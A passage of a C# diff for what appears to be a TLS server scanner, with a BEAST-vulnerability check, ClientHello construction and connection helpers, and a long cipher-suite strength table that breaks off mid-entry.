TestBEAST(string name, int port, int version, IDictionary supp) + { + DebugOutput("[+INFO] Testing if the server is vulnerable to BEAST attack"); + /* + * TLS 1.1+ is not vulnerable to BEAST. + * We do not test SSLv2 either. + */ + if (version < 0x0300 || version > 0x0301) + { + return false; + } + + /* + * BEAST attack works if the server allows the client to + * use a CBC cipher. Existing clients also supports RC4, + * so we consider that a server protects the clients if + * it chooses RC4 over CBC streams when given the choice. + * We only consider strong cipher suites here. + */ + IList strongCBC = new List(); + IList strongStream = new List(); + foreach (int suite in supp.Keys) + { + CipherSuite cs = CIPHER_SUITES[suite]; + if (cs == null) + { + continue; + } + if (cs.strength < STRONG) + { + continue; + } + if (cs.isCBC) + { + strongCBC.Add(suite); + } + else + { + strongStream.Add(suite); + } + } + if (strongCBC.Count == 0) + { + return false; + } + if (strongStream.Count == 0) + { + return true; + } + IList ns = new List(); + foreach (int suite in strongCBC) + { + ns.Add(suite); + } + foreach (int suite in strongStream) + { + ns.Add(suite); + } + ServerHello sh = Connect(name, port, version, ns); + return CIPHER_SUITES[sh.cipherSuite].isCBC; + } + + string VersionString(int version) + { + if (version == 0x0200) + { + return "SSLv2"; + } + else if (version == 0x0300) + { + return "SSLv3"; + } + else if (((uint)version >> 8) == 0x03) + { + return "TLSv1." + ((version & 0xFF) - 1); + } + else + { + return String.Format( + "UNKNOWN_VERSION:0x{0:X4}", version); + } + } + + /* + * Connect to the server, send a ClientHello, and decode the + * response (ServerHello). On error, null is returned. + */ + ServerHello Connect(string name, int port, int version, ICollection cipherSuites) + { + NetworkStream ns = null; + try + { + try + { + TcpClient tc = new TcpClient(name, port); + ns = tc.GetStream(); + } + catch (Exception e) + { + DebugOutput("could not connect to " + name + ":" + port); + DebugOutput(e.ToString()); + return null; + } + byte[] ch = MakeClientHello(version, cipherSuites); + SSLRecord rec = new SSLRecord(ns); + rec.SetOutType(M.HANDSHAKE); + rec.SetOutVersion(version); + rec.Write(ch); + rec.Flush(); + return new ServerHello(rec); + } + catch (Exception) + { + // ignored + } + finally + { + try + { + if (ns != null) + { + ns.Close(); + } + } + catch (Exception) + { + // ignored + } + } + return null; + } + + /* + * Connect to the server, send a SSLv2 CLIENT-HELLO, and decode + * the response (SERVER-HELLO). On error, null is returned. + */ + ServerHelloSSLv2 ConnectV2(string name, int port) + { + NetworkStream ns = null; + try + { + try + { + TcpClient tc = new TcpClient(name, port); + ns = tc.GetStream(); + } + catch (Exception e) + { + DebugOutput("could not connect to " + name + ":" + port); + DebugOutput(e.ToString()); + return null; + } + ns.Write(M.SSL2_CLIENT_HELLO, 0, M.SSL2_CLIENT_HELLO.Length); + return new ServerHelloSSLv2(ns); + } + catch (Exception) + { + // ignored + } + finally + { + try + { + if (ns != null) + { + ns.Close(); + } + } + catch (Exception) + { + // ignored + } + } + return null; + } + + readonly RandomNumberGenerator RNG = new RNGCryptoServiceProvider(); + + /* + * Build a ClientHello message, with the specified maximum + * supported version, and list of cipher suites. + */ + byte[] MakeClientHello(int version, ICollection cipherSuites) + { + MemoryStream b = new MemoryStream(); + + /* + * Message header: + * message type: one byte (1 = "ClientHello") + * message length: three bytes (this will be adjusted + * at the end of this method). + */ + b.WriteByte(1); + b.WriteByte(0); + b.WriteByte(0); + b.WriteByte(0); + + /* + * The maximum version that we intend to support. + */ + b.WriteByte((byte)(version >> 8)); + b.WriteByte((byte)version); + + /* + * The client random has length 32 bytes, but begins with + * the client's notion of the current time, over 32 bits + * (seconds since 1970/01/01 00:00:00 UTC, not counting + * leap seconds). + */ + byte[] rand = new byte[32]; + RNG.GetBytes(rand); + M.Enc32be((int)(M.CurrentTimeMillis() / 1000), rand, 0); + b.Write(rand, 0, rand.Length); + + /* + * We send an empty session ID. + */ + b.WriteByte(0); + + /* + * The list of cipher suites (list of 16-bit values; the + * list length in bytes is written first). + */ + int num = cipherSuites.Count; + byte[] cs = new byte[2 + num * 2]; + M.Enc16be(num * 2, cs, 0); + int j = 2; + foreach (int s in cipherSuites) + { + M.Enc16be(s, cs, j); + j += 2; + } + b.Write(cs, 0, cs.Length); + + /* + * Compression methods: we claim to support Deflate (1) + * and the standard no-compression (0), with Deflate + * being preferred. + */ + b.WriteByte(2); + b.WriteByte(1); + b.WriteByte(0); + + /* + * If we had extensions to add, they would go here. + */ + + /* + * We now get the message as a blob. The message length + * must be adjusted in the header. + */ + byte[] msg = b.ToArray(); + M.Enc24be(msg.Length - 4, msg, 1); + return msg; + } + + readonly IDictionary CIPHER_SUITES = + new SortedDictionary(); + + const int CLEAR = 0; // no encryption + const int WEAK = 1; // weak encryption: 40-bit key + const int MEDIUM = 2; // medium encryption: 56-bit key + const int STRONG = 3; // strong encryption + + string StrengthString(int strength) + { + switch (strength) + { + case CLEAR: return "no encryption"; + case WEAK: return "weak encryption (40-bit)"; + case MEDIUM: return "medium encryption (56-bit)"; + case STRONG: return "strong encryption (96-bit or more)"; + default: + throw new Exception("strange strength: " + strength); + } + } + + string CipherSuiteString(int suite) + { + CipherSuite cs = CIPHER_SUITES[suite]; + if (cs == null) + { + return String.Format("UNKNOWN_SUITE:0x{0:X4}", suite); + } + else + { + return cs.name; + } + } + + string CipherSuiteStringV2(int suite) + { + CipherSuite cs = CIPHER_SUITES[suite]; + if (cs == null) + { + return String.Format( + "UNKNOWN_SUITE:{0:X2},{0:X2},{0:X2}", + suite >> 16, (suite >> 8) & 0xFF, suite & 0xFF); + } + else + { + return cs.name; + } + } + + void MakeCS(int suite, String name, bool isCBC, int strength) + { + CipherSuite cs = new CipherSuite(); + cs.suite = suite; + cs.name = name; + cs.isCBC = isCBC; + cs.strength = strength; + CIPHER_SUITES.Add(suite, cs); + + /* + * Consistency test: the strength and CBC status can normally + * be inferred from the name itself. + */ + bool inferredCBC = name.Contains("_CBC_"); + int inferredStrength; + if (name.Contains("_NULL_")) + { + inferredStrength = CLEAR; + } + else if (name.Contains("DES40") || name.Contains("_40_") + || name.Contains("EXPORT40")) + { + inferredStrength = WEAK; + } + else if ((name.Contains("_DES_") || name.Contains("DES_64")) + && !name.Contains("DES_192")) + { + inferredStrength = MEDIUM; + } + else + { + inferredStrength = STRONG; + } + if (inferredStrength != strength || inferredCBC != isCBC) + { + throw new Exception("wrong classification: " + name); + } + } + + void N(int suite, string name) + { + MakeCS(suite, name, false, CLEAR); + } + + void S4(int suite, string name) + { + MakeCS(suite, name, false, WEAK); + } + + void S8(int suite, string name) + { + MakeCS(suite, name, false, STRONG); + } + + void B4(int suite, string name) + { + MakeCS(suite, name, true, WEAK); + } + + void B5(int suite, string name) + { + MakeCS(suite, name, true, MEDIUM); + } + + void B8(int suite, string name) + { + MakeCS(suite, name, true, STRONG); + } + + void InitCipherSuites() + { + DebugOutput("[+INFO] Initialising Cipher Suites"); + + /* + * SSLv2 cipher suites. + */ + S8(0x010080, "RC4_128_WITH_MD5"); + S4(0x020080, "RC4_128_EXPORT40_WITH_MD5"); + B8(0x030080, "RC2_128_CBC_WITH_MD5"); + B4(0x040080, "RC2_128_CBC_EXPORT40_WITH_MD5"); + B8(0x050080, "IDEA_128_CBC_WITH_MD5"); + B5(0x060040, "DES_64_CBC_WITH_MD5"); + B8(0x0700C0, "DES_192_EDE3_CBC_WITH_MD5"); + + /* + * Original suites (SSLv3, TLS 1.0). + */ + N(0x0000, "NULL_WITH_NULL_NULL"); + N(0x0001, "RSA_WITH_NULL_MD5"); + N(0x0002, "RSA_WITH_NULL_SHA"); + S4(0x0003, "RSA_EXPORT_WITH_RC4_40_MD5"); + S8(0x0004, "RSA_WITH_RC4_128_MD5"); + S8(0x0005, "RSA_WITH_RC4_128_SHA"); + B4(0x0006, "RSA_EXPORT_WITH_RC2_CBC_40_MD5"); + B8(0x0007, "RSA_WITH_IDEA_CBC_SHA"); + B4(0x0008, "RSA_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x0009, "RSA_WITH_DES_CBC_SHA"); + B8(0x000A, "RSA_WITH_3DES_EDE_CBC_SHA"); + B4(0x000B, "DH_DSS_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x000C, "DH_DSS_WITH_DES_CBC_SHA"); + B8(0x000D, "DH_DSS_WITH_3DES_EDE_CBC_SHA"); + B4(0x000E, "DH_RSA_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x000F, "DH_RSA_WITH_DES_CBC_SHA"); + B8(0x0010, "DH_RSA_WITH_3DES_EDE_CBC_SHA"); + B4(0x0011, "DHE_DSS_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x0012, "DHE_DSS_WITH_DES_CBC_SHA"); + B8(0x0013, "DHE_DSS_WITH_3DES_EDE_CBC_SHA"); + B4(0x0014, "DHE_RSA_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x0015, "DHE_RSA_WITH_DES_CBC_SHA"); + B8(0x0016, "DHE_RSA_WITH_3DES_EDE_CBC_SHA"); + S4(0x0017, "DH_anon_EXPORT_WITH_RC4_40_MD5"); + S8(0x0018, "DH_anon_WITH_RC4_128_MD5"); + B4(0x0019, "DH_anon_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x001A, "DH_anon_WITH_DES_CBC_SHA"); + B8(0x001B, "DH_anon_WITH_3DES_EDE_CBC_SHA"); + + /* + * FORTEZZA suites (SSLv3 only; see RFC 6101). + */ + N(0x001C, "FORTEZZA_KEA_WITH_NULL_SHA"); + B8(0x001D, "FORTEZZA_KEA_WITH_FORTEZZA_CBC_SHA"); + + /* This one is deactivated since it conflicts with + one of the Kerberos cipher suites. + S8(0x001E, "FORTEZZA_KEA_WITH_RC4_128_SHA" ); + */ + + /* + * Kerberos cipher suites (RFC 2712). + */ + B5(0x001E, "KRB5_WITH_DES_CBC_SHA"); + B8(0x001F, "KRB5_WITH_3DES_EDE_CBC_SHA"); + S8(0x0020, "KRB5_WITH_RC4_128_SHA"); + B8(0x0021, "KRB5_WITH_IDEA_CBC_SHA"); + B5(0x0022, "KRB5_WITH_DES_CBC_MD5"); + B8(0x0023, "KRB5_WITH_3DES_EDE_CBC_MD5"); + S8(0x0024, "KRB5_WITH_RC4_128_MD5"); + B8(0x0025, "KRB5_WITH_IDEA_CBC_MD5"); + B4(0x0026, "KRB5_EXPORT_WITH_DES_CBC_40_SHA"); + B4(0x0027, "KRB5_EXPORT_WITH_RC2_CBC_40_SHA"); + S4(0x0028, "KRB5_EXPORT_WITH_RC4_40_SHA"); + B4(0x0029, "KRB5_EXPORT_WITH_DES_CBC_40_MD5"); + B4(0x002A, "KRB5_EXPORT_WITH_RC2_CBC_40_MD5"); + S4(0x002B, "KRB5_EXPORT_WITH_RC4_40_MD5"); + + /* + * Pre-shared key, no encryption cipher suites (RFC 4785). + */ + N(0x002C, "PSK_WITH_NULL_SHA"); + N(0x002D, "DHE_PSK_WITH_NULL_SHA"); + N(0x002E, "RSA_PSK_WITH_NULL_SHA"); + + /* + * AES-based suites (TLS 1.1). + */ + B8(0x002F, "RSA_WITH_AES_128_CBC_SHA"); + B8(0x0030, "DH_DSS_WITH_AES_128_CBC_SHA"); + B8(0x0031, "DH_RSA_WITH_AES_128_CBC_SHA"); + B8(0x0032, "DHE_DSS_WITH_AES_128_CBC_SHA"); + B8(0x0033, "DHE_RSA_WITH_AES_128_CBC_SHA"); + B8(0x0034, "DH_anon_WITH_AES_128_CBC_SHA"); + B8(0x0035, "RSA_WITH_AES_256_CBC_SHA"); + B8(0x0036, "DH_DSS_WITH_AES_256_CBC_SHA"); + B8(0x0037, "DH_RSA_WITH_AES_256_CBC_SHA"); + B8(0x0038, "DHE_DSS_WITH_AES_256_CBC_SHA"); + B8(0x0039, "DHE_RSA_WITH_AES_256_CBC_SHA"); + B8(0x003A, "DH_anon_WITH_AES_256_CBC_SHA"); + + /* + * Suites with SHA-256 (TLS 1.2). + */ + N(0x003B, "RSA_WITH_NULL_SHA256"); + B8(0x003C, "RSA_WITH_AES_128_CBC_SHA256"); + B8(0x003D, "RSA_WITH_AES_256_CBC_SHA256"); + B8(0x003E, "DH_DSS_WITH_AES_128_CBC_SHA256"); + B8(0x003F, "DH_RSA_WITH_AES_128_CBC_SHA256"); + B8(0x0040, "DHE_DSS_WITH_AES_128_CBC_SHA256"); + B8(0x0067, "DHE_RSA_WITH_AES_128_CBC_SHA256"); + B8(0x0068, "DH_DSS_WITH_AES_256_CBC_SHA256"); + B8(0x0069, "DH_RSA_WITH_AES_256_CBC_SHA256"); + B8(0x006A, "DHE_DSS_WITH_AES_256_CBC_SHA256"); + B8(0x006B, "DHE_RSA_WITH_AES_256_CBC_SHA256"); + B8(0x006C, "DH_anon_WITH_AES_128_CBC_SHA256"); + B8(0x006D, "DH_anon_WITH_AES_256_CBC_SHA256"); + + /* + * Camellia cipher suites (RFC 5932). + */ + B8(0x0041, "RSA_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0042, "DH_DSS_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0043, "DH_RSA_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0044, "DHE_DSS_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0045, "DHE_RSA_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0046, "DH_anon_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0084, "RSA_WITH_CAMELLIA_256_CBC_SHA"); + B8(0x0085, "DH_DSS_WITH_CAMELLIA_256_CBC_SHA"); + B8(0x0086, "DH_RSA_WITH_CAMELLIA_256_CBC_SHA"); + B8(0x0087, "DHE_DSS_WITH_CAMELLIA_256_CBC_SHA"); + B8(0x0088, "DHE_RSA_WITH_CAMELLIA_256_CBC_SHA"); + B8(0x0089, "DH_anon_WITH_CAMELLIA_256_CBC_SHA"); + + /* + * Unsorted (yet), from the IANA TLS registry: + * http://www.iana.org/assignments/tls-parameters/ + */ + S8(0x008A, "TLS_PSK_WITH_RC4_128_SHA"); + B8(0x008B, "TLS_PSK_WITH_3DES_EDE_CBC_SHA"); + B8(0x008C, "TLS_PSK_WITH_AES_128_CBC_SHA"); + B8(0x008D, "TLS_PSK_WITH_AES_256_CBC_SHA"); + S8(0x008E, "TLS_DHE_PSK_WITH_RC4_128_SHA"); + B8(0x008F, "TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA"); + B8(0x0090, "TLS_DHE_PSK_WITH_AES_128_CBC_SHA"); + B8(0x0091, "TLS_DHE_PSK_WITH_AES_256_CBC_SHA"); + S8(0x0092, "TLS_RSA_PSK_WITH_RC4_128_SHA"); + B8(0x0093, "TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA"); + B8(0x0094, "TLS_RSA_PSK_WITH_AES_128_CBC_SHA"); + B8(0x0095, "TLS_RSA_PSK_WITH_AES_256_CBC_SHA"); + B8(0x0096, "TLS_RSA_WITH_SEED_CBC_SHA"); + B8(0x0097, "TLS_DH_DSS_WITH_SEED_CBC_SHA"); + B8(0x0098, "TLS_DH_RSA_WITH_SEED_CBC_SHA"); + B8(0x0099, "TLS_DHE_DSS_WITH_SEED_CBC_SHA"); + B8(0x009A, "TLS_DHE_RSA_WITH_SEED_CBC_SHA"); + B8(0x009B, "TLS_DH_anon_WITH_SEED_CBC_SHA"); + S8(0x009C, "TLS_RSA_WITH_AES_128_GCM_SHA256"); + S8(0x009D, "TLS_RSA_WITH_AES_256_GCM_SHA384"); + S8(0x009E, "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256"); + S8(0x009F, "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384"); + S8(0x00A0, "TLS_DH_RSA_WITH_AES_128_GCM_SHA256"); + S8(0x00A1, "TLS_DH_RSA_WITH_AES_256_GCM_SHA384"); + S8(0x00A2, "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256"); + S8(0x00A3, "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384"); + S8(0x00A4, "TLS_DH_DSS_WITH_AES_128_GCM_SHA256"); + S8(0x00A5, "TLS_DH_DSS_WITH_AES_256_GCM_SHA384"); + S8(0x00A6, "TLS_DH_anon_WITH_AES_128_GCM_SHA256"); + S8(0x00A7, "TLS_DH_anon_WITH_AES_256_GCM_SHA384"); + S8(0x00A8, "TLS_PSK_WITH_AES_128_GCM_SHA256"); + S8(0x00A9, "TLS_PSK_WITH_AES_256_GCM_SHA384"); + S8(0x00AA, "TLS_DHE_PSK_WITH_AES_128_GCM_SHA256"); + S8(0x00AB, "TLS_DHE_PSK_WITH_AES_256_GCM_SHA384"); + S8(0x00AC, "TLS_RSA_PSK_WITH_AES_128_GCM_SHA256"); + S8(0x00AD, "TLS_RSA_PSK_WITH_AES_256_GCM_SHA384"); + B8(0x00AE, "TLS_PSK_WITH_AES_128_CBC_SHA256"); + B8(0x00AF, "TLS_PSK_WITH_AES_256_CBC_SHA384"); + N(0x00B0, "TLS_PSK_WITH_NULL_SHA256"); + N(0x00B1, "TLS_PSK_WITH_NULL_SHA384"); + B8(0x00B2, "TLS_DHE_PSK_WITH_AES_128_CBC_SHA256"); + B8(0x00B3, "TLS_DHE_PSK_WITH_AES_256_CBC_SHA384"); + N(0x00B4, "TLS_DHE_PSK_WITH_NULL_SHA256"); + N(0x00B5, "TLS_DHE_PSK_WITH_NULL_SHA384"); + B8(0x00B6, "TLS_RSA_PSK_WITH_AES_128_CBC_SHA256"); + B8(0x00B7, "TLS_RSA_PSK_WITH_AES_256_CBC_SHA384"); + N(0x00B8, "TLS_RSA_PSK_WITH_NULL_SHA256"); + N(0x00B9, "TLS_RSA_PSK_WITH_NULL_SHA384"); + B8(0x00BA, "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00BB, "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00BC, "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00BD, "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00BE, "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00BF, "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00C0, "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256"); + B8(0x00C1, "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256"); + B8(0x00C2, "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256"); + B8(0x00C3, "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256"); + B8(0x00C4, "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256"); + B8(0x00C5, "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256"); + /* This one is a fake cipher suite which marks a + renegotiation. + N(0x00FF, "TLS_EMPTY_RENEGOTIATION_INFO_SCSV" ); + */ + N(0xC001, "TLS_ECDH_ECDSA_WITH_NULL_SHA"); + S8(0xC002, "TLS_ECDH_ECDSA_WITH_RC4_128_SHA"); + B8(0xC003, "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC004, "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA"); + B8(0xC005, "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA"); + N(0xC006, "TLS_ECDHE_ECDSA_WITH_NULL_SHA"); + S8(0xC007, "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA"); + B8(0xC008, "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC009, "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA"); + B8(0xC00A, "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA"); + N(0xC00B, "TLS_ECDH_RSA_WITH_NULL_SHA"); + S8(0xC00C, "TLS_ECDH_RSA_WITH_RC4_128_SHA"); + B8(0xC00D, "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC00E, "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA"); + B8(0xC00F, "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA"); + N(0xC010, "TLS_ECDHE_RSA_WITH_NULL_SHA"); + S8(0xC011, "TLS_ECDHE_RSA_WITH_RC4_128_SHA"); + B8(0xC012, "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC013, "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"); + B8(0xC014, "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"); + N(0xC015, "TLS_ECDH_anon_WITH_NULL_SHA"); + S8(0xC016, "TLS_ECDH_anon_WITH_RC4_128_SHA"); + B8(0xC017, "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA"); + B8(0xC018, "TLS_ECDH_anon_WITH_AES_128_CBC_SHA"); + B8(0xC019, "TLS_ECDH_anon_WITH_AES_256_CBC_SHA"); + B8(0xC01A, "TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC01B, "TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC01C, "TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA"); + B8(0xC01D, "TLS_SRP_SHA_WITH_AES_128_CBC_SHA"); + B8(0xC01E, "TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA"); + B8(0xC01F, "TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA"); + B8(0xC020, "TLS_SRP_SHA_WITH_AES_256_CBC_SHA"); + B8(0xC021, "TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA"); + B8(0xC022, "TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA"); + B8(0xC023, "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256"); + B8(0xC024, "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384"); + B8(0xC025, "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256"); + B8(0xC026, "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384"); + B8(0xC027, "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256"); + B8(0xC028, "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384"); + B8(0xC029, "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256"); + B8(0xC02A, "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384"); + S8(0xC02B, "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256"); + S8(0xC02C, "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384"); + S8(0xC02D, "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256"); + S8(0xC02E, "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384"); + S8(0xC02F, "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"); + S8(0xC030, "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"); + S8(0xC031, "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256"); + S8(0xC032, "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384"); + S8(0xC033, "TLS_ECDHE_PSK_WITH_RC4_128_SHA"); + B8(0xC034, "TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA"); + B8(0xC035, "TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA"); + B8(0xC036, "TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA"); + B8(0xC037, "TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256"); + B8(0xC038, "TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384"); + N(0xC039, "TLS_ECDHE_PSK_WITH_NULL_SHA"); + N(0xC03A, "TLS_ECDHE_PSK_WITH_NULL_SHA256"); + N(0xC03B, "TLS_ECDHE_PSK_WITH_NULL_SHA384"); + B8(0xC03C, "TLS_RSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC03D, "TLS_RSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC03E, "TLS_DH_DSS_WITH_ARIA_128_CBC_SHA256"); + B8(0xC03F, "TLS_DH_DSS_WITH_ARIA_256_CBC_SHA384"); + B8(0xC040, "TLS_DH_RSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC041, "TLS_DH_RSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC042, "TLS_DHE_DSS_WITH_ARIA_128_CBC_SHA256"); + B8(0xC043, "TLS_DHE_DSS_WITH_ARIA_256_CBC_SHA384"); + B8(0xC044, "TLS_DHE_RSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC045, "TLS_DHE_RSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC046, "TLS_DH_anon_WITH_ARIA_128_CBC_SHA256"); + B8(0xC047, "TLS_DH_anon_WITH_ARIA_256_CBC_SHA384"); + B8(0xC048, "TLS_ECDHE_ECDSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC049, "TLS_ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC04A, "TLS_ECDH_ECDSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC04B, "TLS_ECDH_ECDSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC04C, "TLS_ECDHE_RSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC04D, "TLS_ECDHE_RSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC04E, "TLS_ECDH_RSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC04F, "TLS_ECDH_RSA_WITH_ARIA_256_CBC_SHA384"); + S8(0xC050, "TLS_RSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC051, "TLS_RSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC052, "TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC053, "TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC054, "TLS_DH_RSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC055, "TLS_DH_RSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC056, "TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256"); + S8(0xC057, "TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384"); + S8(0xC058, "TLS_DH_DSS_WITH_ARIA_128_GCM_SHA256"); + S8(0xC059, "TLS_DH_DSS_WITH_ARIA_256_GCM_SHA384"); + S8(0xC05A, "TLS_DH_anon_WITH_ARIA_128_GCM_SHA256"); + S8(0xC05B, "TLS_DH_anon_WITH_ARIA_256_GCM_SHA384"); + S8(0xC05C, "TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC05D, "TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC05E, "TLS_ECDH_ECDSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC05F, "TLS_ECDH_ECDSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC060, "TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC061, "TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC062, "TLS_ECDH_RSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC063, "TLS_ECDH_RSA_WITH_ARIA_256_GCM_SHA384"); + B8(0xC064, "TLS_PSK_WITH_ARIA_128_CBC_SHA256"); + B8(0xC065, "TLS_PSK_WITH_ARIA_256_CBC_SHA384"); + B8(0xC066, "TLS_DHE_PSK_WITH_ARIA_128_CBC_SHA256"); + B8(0xC067, "TLS_DHE_PSK_WITH_ARIA_256_CBC_SHA384"); + B8(0xC068, "TLS_RSA_PSK_WITH_ARIA_128_CBC_SHA256"); + B8(0xC069, "TLS_RSA_PSK_WITH_ARIA_256_CBC_SHA384"); + S8(0xC06A, "TLS_PSK_WITH_ARIA_128_GCM_SHA256"); + S8(0xC06B, "TLS_PSK_WITH_ARIA_256_GCM_SHA384"); + S8(0xC06C, "TLS_DHE_PSK_WITH_ARIA_128_GCM_SHA256"); + S8(0xC06D, "TLS_DHE_PSK_WITH_ARIA_256_GCM_SHA384"); + S8(0xC06E, "TLS_RSA_PSK_WITH_ARIA_128_GCM_SHA256"); + S8(0xC06F, "TLS_RSA_PSK_WITH_ARIA_256_GCM_SHA384"); + B8(0xC070, "TLS_ECDHE_PSK_WITH_ARIA_128_CBC_SHA256"); + B8(0xC071, "TLS_ECDHE_PSK_WITH_ARIA_256_CBC_SHA384"); + B8(0xC072, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC073, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC074, "TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC075, "TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC076, "TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC077, "TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC078, "TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC079, "TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384"); + S8(0xC07A, "TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC07B, "TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC07C, "TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC07D, "TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC07E, "TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC07F, "TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC080, "TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC081, 